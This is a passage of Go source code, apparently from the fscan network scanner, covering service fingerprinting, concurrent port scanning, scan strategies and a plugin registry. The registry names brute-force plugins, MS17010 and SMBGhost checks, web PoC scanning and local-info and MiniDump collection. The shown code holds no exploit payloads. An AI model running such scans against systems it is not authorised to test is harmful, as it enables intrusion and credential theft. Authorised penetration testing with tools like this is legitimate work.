Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err)) } // 记录已使用的探测器,避免重复使用 usedProbes := make(map[string]struct{}) // 2. 尝试使用端口专用探测器 Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port)) if i.processPortMapProbes(usedProbes) { Common.LogDebug("端口专用探测器匹配成功") return } Common.LogDebug("端口专用探测器未匹配") // 3. 使用默认探测器列表 Common.LogDebug("尝试使用默认探测器列表") if i.processDefaultProbes(usedProbes) { Common.LogDebug("默认探测器匹配成功") return } Common.LogDebug("默认探测器未匹配") // 4. 如果所有探测都失败,标记为未知服务 if strings.TrimSpace(i.Result.Service.Name) == "" { Common.LogDebug("未识别出服务,标记为 unknown") i.Result.Service.Name = "unknown" } } // tryProbes 尝试使用指定的探测器列表检查响应 func (i *Info) tryProbes(response []byte, probes []*Probe) bool { for _, probe := range probes { Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name)) i.GetInfo(response, probe) if i.Found { Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name)) return true } } return false } // processPortMapProbes 处理端口映射中的专用探测器 func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool { // 检查是否存在端口专用探测器 if len(Common.PortMap[i.Port]) == 0 { Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port)) return false } // 遍历端口专用探测器 for _, name := range Common.PortMap[i.Port] { Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name)) usedProbes[name] = struct{}{} probe := v.ProbesMapKName[name] // 解码探测数据 probeData, err := DecodeData(probe.Data) if err != nil || len(probeData) == 0 { Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name)) continue } // 发送探测数据并获取响应 Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData))) if response := i.Connect(probeData); len(response) > 0 { Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response))) // 使用当前探测器检查响应 i.GetInfo(response, &probe) if i.Found { return true } // 根据探测器类型进行额外检查 switch name { case "GenericLines": if i.tryProbes(response, []*Probe{null}) { return true } case "NULL": continue default: if i.tryProbes(response, []*Probe{common}) { return true } } } } return false } // processDefaultProbes 处理默认探测器列表 func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool { failCount := 0 const maxFailures = 10 // 最大失败次数 // 遍历默认探测器列表 for _, name := range Common.DefaultMap { // 跳过已使用的探测器 if _, used := usedProbes[name]; used { continue } probe := v.ProbesMapKName[name] probeData, err := DecodeData(probe.Data) if err != nil || len(probeData) == 0 { continue } // 发送探测数据并获取响应 response := i.Connect(probeData) if len(response) == 0 { failCount++ if failCount > maxFailures { return false } continue } // 使用当前探测器检查响应 i.GetInfo(response, &probe) if i.Found { return true } // 根据探测器类型进行额外检查 switch name { case "GenericLines": if i.tryProbes(response, []*Probe{null}) { return true } case "NULL": continue default: if i.tryProbes(response, []*Probe{common}) { return true } } // 尝试使用端口映射中的其他探测器 if len(Common.PortMap[i.Port]) > 0 { for _, mappedName := range Common.PortMap[i.Port] { usedProbes[mappedName] = struct{}{} mappedProbe := v.ProbesMapKName[mappedName] i.GetInfo(response, &mappedProbe) if i.Found { return true } } } } return false } // GetInfo 分析响应数据并提取服务信息 func (i *Info) GetInfo(response []byte, probe *Probe) { Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response))) // 响应数据有效性检查 if len(response) <= 0 { Common.LogDebug("响应数据为空") return } result := &i.Result var ( softMatch Match softFound bool ) // 处理主要匹配规则 Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name)) if matched, match := i.processMatches(response, probe.Matchs); matched { Common.LogDebug("找到硬匹配") return } else if match != nil { Common.LogDebug("找到软匹配") softFound = true softMatch = *match } // 处理回退匹配规则 if probe.Fallback != "" { Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback)) if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok { if matched, match := i.processMatches(response, fbProbe.Matchs); matched { Common.LogDebug("回退匹配成功") return } else if match != nil { Common.LogDebug("找到回退软匹配") softFound = true softMatch = *match } } } // 处理未找到匹配的情况 if !i.Found { Common.LogDebug("未找到硬匹配,处理未匹配情况") i.handleNoMatch(response, result, softFound, softMatch) } } // processMatches 处理匹配规则集 func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) { Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches))) var softMatch *Match for _, match := range *matches { if !match.MatchPattern(response) { continue } if !match.IsSoft { Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service)) i.handleHardMatch(response, &match) return true, nil } else if softMatch == nil { Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service)) tmpMatch := match softMatch = &tmpMatch } } return false, softMatch } // handleHardMatch 处理硬匹配结果 func (i *Info) handleHardMatch(response []byte, match *Match) { Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service)) result := &i.Result extras := match.ParseVersionInfo(response) extrasMap := extras.ToMap() result.Service.Name = match.Service result.Extras = extrasMap result.Banner = trimBanner(response) result.Service.Extras = extrasMap // 特殊处理 microsoft-ds 服务 if result.Service.Name == "microsoft-ds" { Common.LogDebug("特殊处理 microsoft-ds 服务") result.Service.Extras["hostname"] = result.Banner } i.Found = true Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner)) } // handleNoMatch 处理未找到匹配的情况 func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) { Common.LogDebug("处理未匹配情况") result.Banner = trimBanner(response) if !softFound { // 尝试识别 HTTP 服务 if strings.Contains(result.Banner, "HTTP/") || strings.Contains(result.Banner, "html") { Common.LogDebug("识别为HTTP服务") result.Service.Name = "http" } else { Common.LogDebug("未知服务") result.Service.Name = "unknown" } } else { Common.LogDebug("使用软匹配结果") extras := softMatch.ParseVersionInfo(response) result.Service.Extras = extras.ToMap() result.Service.Name = softMatch.Service i.Found = true Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name)) } } // Connect 发送数据并获取响应 func (i *Info) Connect(msg []byte) []byte { i.Write(msg) reply, _ := i.Read() return reply } const WrTimeout = 5 // 默认读写超时时间(秒) // Write 写入数据到连接 func (i *Info) Write(msg []byte) error { if i.Conn == nil { return nil } // 设置写入超时 i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout))) // 写入数据 _, err := i.Conn.Write(msg) if err != nil && strings.Contains(err.Error(), "close") { i.Conn.Close() // 连接关闭时重试 i.Conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second) if err == nil { i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout))) _, err = i.Conn.Write(msg) } } // 记录发送的数据 if err == nil { i.Result.Send = msg } return err } // Read 从连接读取响应 func (i *Info) Read() ([]byte, error) { if i.Conn == nil { return nil, nil } // 设置读取超时 i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout))) // 读取数据 result, err := readFromConn(i.Conn) if err != nil && strings.Contains(err.Error(), "close") { return result, err } // 记录接收到的数据 if len(result) > 0 { i.Result.Recv = result } return result, err } // readFromConn 从连接读取数据的辅助函数 func readFromConn(conn net.Conn) ([]byte, error) { size := 2 * 1024 // 读取缓冲区大小 var result []byte for { buf := make([]byte, size) count, err := conn.Read(buf) if count > 0 { result = append(result, buf[:count]...) } if err != nil { if len(result) > 0 { return result, nil } if err == io.EOF { return result, nil } return result, err } if count < size { return result, nil } } } ================================================ FILE: Core/PortScan.go ================================================ package Core import ( "context" "fmt" "github.com/shadow1ng/fscan/Common" "golang.org/x/sync/errgroup" "golang.org/x/sync/semaphore" "net" "strings" "sync" "sync/atomic" "time" ) // EnhancedPortScan 高性能端口扫描函数 func EnhancedPortScan(hosts []string, ports string, timeout int64) []string { // 解析端口和排除端口 portList := Common.ParsePort(ports) if len(portList) == 0 { Common.LogError("无效端口: " + ports) return nil } exclude := make(map[int]struct{}) for _, p := range Common.ParsePort(Common.ExcludePorts) { exclude[p] = struct{}{} } // 初始化并发控制 ctx, cancel := context.WithCancel(context.Background()) defer cancel() to := time.Duration(timeout) * time.Second sem := semaphore.NewWeighted(int64(Common.ThreadNum)) var count int64 var aliveMap sync.Map g, ctx := errgroup.WithContext(ctx) // 并发扫描所有目标 for _, host := range hosts { for _, port := range portList { if _, excluded := exclude[port]; excluded { continue } host, port := host, port // 捕获循环变量 addr := fmt.Sprintf("%s:%d", host, port) if err := sem.Acquire(ctx, 1); err != nil { break } g.Go(func() error { defer sem.Release(1) // 连接测试 conn, err := net.DialTimeout("tcp", addr, to) if err != nil { return nil } defer conn.Close() // 记录开放端口 atomic.AddInt64(&count, 1) aliveMap.Store(addr, struct{}{}) Common.LogInfo("端口开放 " + addr) Common.SaveResult(&Common.ScanResult{ Time: time.Now(), Type: Common.PORT, Target: host, Status: "open", Details: map[string]interface{}{"port": port}, }) // 服务识别 if Common.EnableFingerprint { if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil { // 构建结果详情 details := map[string]interface{}{"port": port, "service": info.Name} if info.Version != "" { details["version"] = info.Version } // 处理额外信息 for k, v := range info.Extras { if v == "" { continue } switch k { case "vendor_product": details["product"] = v case "os", "info": details[k] = v } } if len(info.Banner) > 0 { details["banner"] = strings.TrimSpace(info.Banner) } // 保存服务结果 Common.SaveResult(&Common.ScanResult{ Time: time.Now(), Type: Common.SERVICE, Target: host, Status: "identified", Details: details, }) // 记录服务信息 var sb strings.Builder sb.WriteString("服务识别 " + addr + " => ") if info.Name != "unknown" { sb.WriteString("[" + info.Name + "]") } if info.Version != "" { sb.WriteString(" 版本:" + info.Version) } for k, v := range info.Extras { if v == "" { continue } switch k { case "vendor_product": sb.WriteString(" 产品:" + v) case "os": sb.WriteString(" 系统:" + v) case "info": sb.WriteString(" 信息:" + v) } } if len(info.Banner) > 0 && len(info.Banner) < 100 { sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]") } Common.LogInfo(sb.String()) } } return nil }) } } _ = g.Wait() // 收集结果 var aliveAddrs []string aliveMap.Range(func(key, _ interface{}) bool { aliveAddrs = append(aliveAddrs, key.(string)) return true }) Common.LogBase(fmt.Sprintf("扫描完成, 发现 %d 个开放端口", count)) return aliveAddrs } ================================================ FILE: Core/Registry.go ================================================ package Core import ( "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Plugins" "sort" ) // init 初始化并注册所有扫描插件 // 包括标准端口服务扫描、特殊扫描类型和本地信息收集等 func init() { // 1. 标准网络服务扫描插件 // 文件传输和远程访问服务 Common.RegisterPlugin("ftp", Common.ScanPlugin{ Name: "FTP", Ports: []int{21}, ScanFunc: Plugins.FtpScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("ssh", Common.ScanPlugin{ Name: "SSH", Ports: []int{22, 2222}, ScanFunc: Plugins.SshScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("telnet", Common.ScanPlugin{ Name: "Telnet", Ports: []int{23}, ScanFunc: Plugins.TelnetScan, Types: []string{Common.PluginTypeService}, }) // Windows网络服务 Common.RegisterPlugin("findnet", Common.ScanPlugin{ Name: "FindNet", Ports: []int{135}, ScanFunc: Plugins.Findnet, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("netbios", Common.ScanPlugin{ Name: "NetBIOS", Ports: []int{139}, ScanFunc: Plugins.NetBIOS, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("smb", Common.ScanPlugin{ Name: "SMB", Ports: []int{445}, ScanFunc: Plugins.SmbScan, Types: []string{Common.PluginTypeService}, }) // 数据库服务 Common.RegisterPlugin("mssql", Common.ScanPlugin{ Name: "MSSQL", Ports: []int{1433, 1434}, ScanFunc: Plugins.MssqlScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("oracle", Common.ScanPlugin{ Name: "Oracle", Ports: []int{1521, 1522, 1526}, ScanFunc: Plugins.OracleScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("mysql", Common.ScanPlugin{ Name: "MySQL", Ports: []int{3306, 3307, 13306, 33306}, ScanFunc: Plugins.MysqlScan, Types: []string{Common.PluginTypeService}, }) // 中间件和消息队列服务 Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{ Name: "Elasticsearch", Ports: []int{9200, 9300}, ScanFunc: Plugins.ElasticScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{ Name: "RabbitMQ", Ports: []int{5672, 5671, 15672, 15671}, ScanFunc: Plugins.RabbitMQScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("kafka", Common.ScanPlugin{ Name: "Kafka", Ports: []int{9092, 9093}, ScanFunc: Plugins.KafkaScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("activemq", Common.ScanPlugin{ Name: "ActiveMQ", Ports: []int{61613}, ScanFunc: Plugins.ActiveMQScan, Types: []string{Common.PluginTypeService}, }) // 目录和认证服务 Common.RegisterPlugin("ldap", Common.ScanPlugin{ Name: "LDAP", Ports: []int{389, 636}, ScanFunc: Plugins.LDAPScan, Types: []string{Common.PluginTypeService}, }) // 邮件服务 Common.RegisterPlugin("smtp", Common.ScanPlugin{ Name: "SMTP", Ports: []int{25, 465, 587}, ScanFunc: Plugins.SmtpScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("imap", Common.ScanPlugin{ Name: "IMAP", Ports: []int{143, 993}, ScanFunc: Plugins.IMAPScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("pop3", Common.ScanPlugin{ Name: "POP3", Ports: []int{110, 995}, ScanFunc: Plugins.POP3Scan, Types: []string{Common.PluginTypeService}, }) // 网络管理和监控服务 Common.RegisterPlugin("snmp", Common.ScanPlugin{ Name: "SNMP", Ports: []int{161, 162}, ScanFunc: Plugins.SNMPScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("modbus", Common.ScanPlugin{ Name: "Modbus", Ports: []int{502, 5020}, ScanFunc: Plugins.ModbusScan, Types: []string{Common.PluginTypeService}, }) // 数据同步和备份服务 Common.RegisterPlugin("rsync", Common.ScanPlugin{ Name: "Rsync", Ports: []int{873}, ScanFunc: Plugins.RsyncScan, Types: []string{Common.PluginTypeService}, }) // NoSQL数据库 Common.RegisterPlugin("cassandra", Common.ScanPlugin{ Name: "Cassandra", Ports: []int{9042}, ScanFunc: Plugins.CassandraScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("neo4j", Common.ScanPlugin{ Name: "Neo4j", Ports: []int{7687}, ScanFunc: Plugins.Neo4jScan, Types: []string{Common.PluginTypeService}, }) // 远程桌面和显示服务 Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389, 13389, 33389}, ScanFunc: Plugins.RdpScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("postgres", Common.ScanPlugin{ Name: "PostgreSQL", Ports: []int{5432, 5433}, ScanFunc: Plugins.PostgresScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("vnc", Common.ScanPlugin{ Name: "VNC", Ports: []int{5900, 5901, 5902}, ScanFunc: Plugins.VncScan, Types: []string{Common.PluginTypeService}, }) // 缓存和键值存储服务 Common.RegisterPlugin("redis", Common.ScanPlugin{ Name: "Redis", Ports: []int{6379, 6380, 16379}, ScanFunc: Plugins.RedisScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("memcached", Common.ScanPlugin{ Name: "Memcached", Ports: []int{11211}, ScanFunc: Plugins.MemcachedScan, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("mongodb", Common.ScanPlugin{ Name: "MongoDB", Ports: []int{27017, 27018}, ScanFunc: Plugins.MongodbScan, Types: []string{Common.PluginTypeService}, }) // 2. 特殊漏洞扫描插件 Common.RegisterPlugin("ms17010", Common.ScanPlugin{ Name: "MS17010", Ports: []int{445}, ScanFunc: Plugins.MS17010, Types: []string{Common.PluginTypeService}, }) Common.RegisterPlugin("smbghost", Common.ScanPlugin{ Name: "SMBGhost", Ports: []int{445}, ScanFunc: Plugins.SmbGhost, Types: []string{Common.PluginTypeService}, }) // 3. Web应用扫描插件 Common.RegisterPlugin("webtitle", Common.ScanPlugin{ Name: "WebTitle", Ports: Common.ParsePortsFromString(Common.WebPorts), ScanFunc: Plugins.WebTitle, Types: []string{Common.PluginTypeWeb}, }) Common.RegisterPlugin("webpoc", Common.ScanPlugin{ Name: "WebPoc", Ports: Common.ParsePortsFromString(Common.WebPorts), ScanFunc: Plugins.WebPoc, Types: []string{Common.PluginTypeWeb}, }) // 4. Windows系统专用插件 Common.RegisterPlugin("smb2", Common.ScanPlugin{ Name: "SMBScan2", Ports: []int{445}, ScanFunc: Plugins.SmbScan2, Types: []string{Common.PluginTypeService}, }) // 5. 本地信息收集插件 Common.RegisterPlugin("localinfo", Common.ScanPlugin{ Name: "LocalInfo", Ports: []int{}, ScanFunc: Plugins.LocalInfoScan, Types: []string{Common.PluginTypeLocal}, }) Common.RegisterPlugin("dcinfo", Common.ScanPlugin{ Name: "DCInfo", Ports: []int{}, ScanFunc: Plugins.DCInfoScan, Types: []string{Common.PluginTypeLocal}, }) Common.RegisterPlugin("minidump", Common.ScanPlugin{ Name: "MiniDump", Ports: []int{}, ScanFunc: Plugins.MiniDump, Types: []string{Common.PluginTypeLocal}, }) } // GetAllPlugins 返回所有已注册插件的名称列表 func GetAllPlugins() []string { pluginNames := make([]string, 0, len(Common.PluginManager)) for name := range Common.PluginManager { pluginNames = append(pluginNames, name) } sort.Strings(pluginNames) return pluginNames } ================================================ FILE: Core/Scanner.go ================================================ package Core import ( "fmt" "github.com/schollz/progressbar/v3" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/lib" "strconv" "strings" "sync" "sync/atomic" "time" ) // ScanTask 表示单个扫描任务 type ScanTask struct { pluginName string // 插件名称 target Common.HostInfo // 目标信息 } // ScanStrategy 定义扫描策略接口 type ScanStrategy interface { // 名称和描述 Name() string Description() string // 执行扫描的主要方法 Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) // 插件管理方法 GetPlugins() ([]string, bool) LogPluginInfo() // 任务准备方法 PrepareTargets(info Common.HostInfo) []Common.HostInfo IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool } // Scanner 扫描器结构体 type Scanner struct { strategy ScanStrategy } // NewScanner 创建新的扫描器并选择合适的策略 func NewScanner(info Common.HostInfo) *Scanner { scanner := &Scanner{} scanner.selectStrategy(info) return scanner } // selectStrategy 根据扫描配置选择适当的扫描策略 func (s *Scanner) selectStrategy(info Common.HostInfo) { switch { case Common.LocalMode: s.strategy = NewLocalScanStrategy() Common.LogBase("已选择本地扫描模式") case len(Common.URLs) > 0: s.strategy = NewWebScanStrategy() Common.LogBase("已选择Web扫描模式") default: s.strategy = NewServiceScanStrategy() Common.LogBase("已选择服务扫描模式") } } // Scan 执行整体扫描流程 func (s *Scanner) Scan(info Common.HostInfo) { Common.LogBase("开始信息扫描") lib.Inithttp() // 并发控制初始化 ch := make(chan struct{}, Common.ThreadNum) wg := sync.WaitGroup{} // 执行策略 s.strategy.Execute(info, &ch, &wg) // 等待所有扫描完成 wg.Wait() s.finishScan() } // finishScan 完成扫描并输出结果 func (s *Scanner) finishScan() { if Common.ProgressBar != nil { Common.ProgressBar.Finish() fmt.Println() } Common.LogBase(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num)) } // 任务执行通用框架 func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) { // 获取要执行的插件 pluginsToRun, isCustomMode := strategy.GetPlugins() // 准备扫描任务 tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy) // 输出扫描计划 if Common.ShowScanPlan && len(tasks) > 0 { logScanPlan(tasks) } // 初始化进度条 if len(tasks) > 0 && Common.ShowProgress { initProgressBar(len(tasks)) } // 执行所有任务 for _, task := range tasks { scheduleScanTask(task.pluginName, task.target, ch, wg) } } // 准备扫描任务列表 func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask { var tasks []ScanTask for _, target := range targets { targetPort := 0 if target.Ports != "" { targetPort, _ = strconv.Atoi(target.Ports) } for _, pluginName := range pluginsToRun { plugin, exists := Common.PluginManager[pluginName] if !exists { continue } // 检查插件是否适用于当前目标 (通过策略判断) if strategy.IsPluginApplicable(plugin, targetPort, isCustomMode) { tasks = append(tasks, ScanTask{ pluginName: pluginName, target: target, }) } } } return tasks } // logScanPlan 输出扫描计划信息 func logScanPlan(tasks []ScanTask) { // 统计每个插件的目标数量 pluginCounts := make(map[string]int) for _, task := range tasks { pluginCounts[task.pluginName]++ } // 构建扫描计划信息 var planInfo strings.Builder planInfo.WriteString("扫描计划:\n") for plugin, count := range pluginCounts { planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count)) } Common.LogBase(planInfo.String()) } // 初始化进度条 func initProgressBar(totalTasks int) { Common.ProgressBar = progressbar.NewOptions(totalTasks, progressbar.OptionEnableColorCodes(true), progressbar.OptionShowCount(), progressbar.OptionSetWidth(15), progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"), progressbar.OptionSetTheme(progressbar.Theme{ Saucer: "[green]=[reset]", SaucerHead: "[green]>[reset]", SaucerPadding: " ", BarStart: "[", BarEnd: "]", }), progressbar.OptionThrottle(65*time.Millisecond), progressbar.OptionUseANSICodes(true), progressbar.OptionSetRenderBlankState(true), ) } // 调度单个扫描任务 func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { wg.Add(1) *ch <- struct{}{} // 获取并发槽位 go func() { startTime := time.Now() defer func() { // 捕获并记录任何可能的panic if r := recover(); r != nil { Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v", pluginName, target.Host, target.Ports, r)) } // 完成任务,释放资源 duration := time.Since(startTime) if Common.ShowScanPlan { Common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)", pluginName, target.Host, target.Ports, duration.Seconds())) } wg.Done() <-*ch // 释放并发槽位 }() atomic.AddInt64(&Common.Num, 1) executeSingleScan(pluginName, target) updateProgress() }() } // 执行单个扫描 func executeSingleScan(pluginName string, info Common.HostInfo) { plugin, exists := Common.PluginManager[pluginName] if !exists { Common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName)) return } if err := plugin.ScanFunc(&info); err != nil { Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err)) } } // 更新扫描进度 func updateProgress() { Common.OutputMutex.Lock() defer Common.OutputMutex.Unlock() atomic.AddInt64(&Common.End, 1) if Common.ProgressBar != nil { fmt.Print("\033[2K\r") Common.ProgressBar.Add(1) } } // 入口函数,向后兼容旧的调用方式 func Scan(info Common.HostInfo) { scanner := NewScanner(info) scanner.Scan(info) } ================================================ FILE: Core/ServiceScanner.go ================================================ package Core import ( "fmt" "github.com/shadow1ng/fscan/Common" "strings" "sync" ) // ServiceScanStrategy 服务扫描策略 type ServiceScanStrategy struct{} // NewServiceScanStrategy 创建新的服务扫描策略 func NewServiceScanStrategy() *ServiceScanStrategy { return &ServiceScanStrategy{} } // Name 返回策略名称 func (s *ServiceScanStrategy) Name() string { return "服务扫描" } // Description 返回策略描述 func (s *ServiceScanStrategy) Description() string { return "扫描主机服务和漏洞" } // Execute 执行服务扫描策略 func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { // 验证扫描目标 if info.Host == "" { Common.LogError("未指定扫描目标") return } // 验证插件配置 if err := validateScanPlugins(); err != nil { Common.LogError(err.Error()) return } // 解析目标主机 hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) if err != nil { Common.LogError(fmt.Sprintf("解析主机错误: %v", err)) return } Common.LogBase("开始主机扫描") // 输出插件信息 s.LogPluginInfo() // 执行主机扫描流程 s.performHostScan(hosts, info, ch, wg) } // performHostScan 执行主机扫描的完整流程 func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { var targetInfos []Common.HostInfo // 主机存活性检测和端口扫描 if len(hosts) > 0 || len(Common.HostPort) > 0 { // 主机存活检测 if s.shouldPerformLivenessCheck(hosts) { hosts = CheckLive(hosts, Common.UsePing) Common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts))) } // 端口扫描 alivePorts := s.discoverAlivePorts(hosts) if len(alivePorts) > 0 { targetInfos = s.convertToTargetInfos(alivePorts, info) } } // 执行漏洞扫描 if len(targetInfos) > 0 { Common.LogBase("开始漏洞扫描") ExecuteScanTasks(targetInfos, s, ch, wg) } } // shouldPerformLivenessCheck 判断是否需要执行存活性检测 func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string) bool { return Common.DisablePing == false && len(hosts) > 1 } // discoverAlivePorts 发现存活的端口 func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string) []string { var alivePorts []string // 根据扫描模式选择端口扫描方式 if len(hosts) > 0 { alivePorts = EnhancedPortScan(hosts, Common.Ports, Common.Timeout) Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts))) } // 合并额外指定的端口 if len(Common.HostPort) > 0 { alivePorts = append(alivePorts, Common.HostPort...) alivePorts = Common.RemoveDuplicate(alivePorts) Common.HostPort = nil Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts))) } return alivePorts } // PrepareTargets 准备目标信息 func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo { // 解析目标主机 hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) if err != nil { Common.LogError(fmt.Sprintf("解析主机错误: %v", err)) return nil } var targetInfos []Common.HostInfo // 主机存活性检测和端口扫描 if len(hosts) > 0 || len(Common.HostPort) > 0 { // 主机存活检测 if s.shouldPerformLivenessCheck(hosts) { hosts = CheckLive(hosts, Common.UsePing) } // 端口扫描 alivePorts := s.discoverAlivePorts(hosts) if len(alivePorts) > 0 { targetInfos = s.convertToTargetInfos(alivePorts, info) } } return targetInfos } // convertToTargetInfos 将端口列表转换为目标信息 func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo { var infos []Common.HostInfo for _, targetIP := range ports { hostParts := strings.Split(targetIP, ":") if len(hostParts) != 2 { Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP)) continue } info := baseInfo info.Host = hostParts[0] info.Ports = hostParts[1] infos = append(infos, info) } return infos } // GetPlugins 获取服务扫描插件列表 func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) { // 如果指定了插件列表且不是"all" if Common.ScanMode != "" && Common.ScanMode != "all" { plugins := parsePluginList(Common.ScanMode) if len(plugins) > 0 { return plugins, true } return []string{Common.ScanMode}, true } // 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤 return GetAllPlugins(), false } // LogPluginInfo 输出服务扫描插件信息 func (s *ServiceScanStrategy) LogPluginInfo() { allPlugins, isCustomMode := s.GetPlugins() // 如果是自定义模式,直接显示用户指定的插件 if isCustomMode { Common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", "))) return } // 在自动模式下,过滤掉本地插件,只显示服务类型插件 var applicablePlugins []string for _, pluginName := range allPlugins { plugin, exists := Common.PluginManager[pluginName] if exists && !plugin.HasType(Common.PluginTypeLocal) { applicablePlugins = append(applicablePlugins, pluginName) } } if len(applicablePlugins) > 0 { Common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", "))) } else { Common.LogBase("未找到可用的服务插件") } } // IsPluginApplicable 判断插件是否适用于服务扫描 func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool { // 自定义模式下运行所有明确指定的插件 if isCustomMode { return true } // 非自定义模式下,排除本地插件 if plugin.HasType(Common.PluginTypeLocal) { return false } // 检查端口是否匹配 if len(plugin.Ports) > 0 && targetPort > 0 { return plugin.HasPort(targetPort) } // 无端口限制的插件或适用于服务扫描的插件 return len(plugin.Ports) == 0 || plugin.HasType(Common.PluginTypeService) } ================================================ FILE: Core/WebScanner.go ================================================ package Core import ( "fmt" "github.com/shadow1ng/fscan/Common" "strings" "sync" ) // WebScanStrategy Web扫描策略 type WebScanStrategy struct{} // NewWebScanStrategy 创建新的Web扫描策略 func NewWebScanStrategy() *WebScanStrategy { return &WebScanStrategy{} } // Name 返回策略名称 func (s *WebScanStrategy) Name() string { return "Web扫描" } // Description 返回策略描述 func (s *WebScanStrategy) Description() string { return "扫描Web应用漏洞和信息" } // Execute 执行Web扫描策略 func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { Common.LogBase("开始Web扫描") // 验证插件配置 if err := validateScanPlugins(); err != nil { Common.LogError(err.Error()) return } // 准备URL目标 targets := s.PrepareTargets(info) // 输出插件信息 s.LogPluginInfo() // 执行扫描任务 ExecuteScanTasks(targets, s, ch, wg) } // PrepareTargets 准备URL目标列表 func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.HostInfo { var targetInfos []Common.HostInfo for _, url := range Common.URLs { urlInfo := baseInfo // 确保URL包含协议头 if !strings.HasPrefix(url, "http://") && 